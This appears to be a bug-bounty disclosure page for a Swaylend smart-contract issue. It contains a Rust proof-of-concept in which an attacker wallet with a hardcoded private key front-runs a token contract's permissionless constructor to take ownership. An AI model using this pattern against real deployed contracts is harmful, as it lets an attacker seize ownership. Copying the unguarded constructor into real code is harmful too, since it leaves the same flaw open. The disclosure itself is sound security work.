#35853 [SC-Medium] permissonless constructor always for front-running owner initialization.
PreviousSwaylend | IOPNext#36034 [SC-Medium] truncation in the `present_value_borrow()` can lead to loss of accrued borrow int
Last updated
Was this helpful?
Last updated
Was this helpful?
Was this helpful?
// setup fuel provider
let rpc = std::env::var("RPC").unwrap();
let provider = Provider::connect(rpc).await.unwrap();
// setup wallet
let secret = std::env::var("SECRET").unwrap();
// let private_key: SecretKey = "6d39e7ec67f1414e804a52e33989d7162c18084f47e05fdbd04a2b653dc05391".parse().unwrap();
// let attacker: WalletUnlocked = WalletUnlocked::new_from_private_key(private_key, Some(provider.clone()));
let wallet: WalletUnlocked =
WalletUnlocked::new_from_private_key(secret.parse().unwrap(), Some(provider.clone()));
// deploy token
let configurables = TokenConfigurables::default();
let root = PathBuf::from(env!("CARGO_WORKSPACE_DIR"));
let bin_path = root.join("contracts/src-20/out/debug/src-20.bin");
let config = LoadConfiguration::default().with_configurables(configurables);
let mut rng = rand::thread_rng();
let salt = rng.gen::<[u8; 32]>();
let id = Contract::load_from(bin_path, config)
.unwrap()
.with_salt(salt)
.deploy(&wallet, TxPolicies::default())
.await
.unwrap();
let instance = Token::new(id.clone(), wallet.clone());
let private_key: SecretKey = "6d39e7ec67f1414e804a52e33989d7162c18084f47e05fdbd04a2b653dc05391"
.parse()
.unwrap();
let attacker: WalletUnlocked =
WalletUnlocked::new_from_private_key(private_key, Some(provider.clone()));
// simulate an attacker frontrunning the owners call to constructor.
instance
.clone()
.with_account(attacker.clone())
.methods()
.constructor(wallet.address().into())
.call()
.await
.unwrap();
// on the call to contructor by owner, the call will always fail.
instance
.methods()
.constructor(wallet.address().into())
.call()
.await
.unwrap();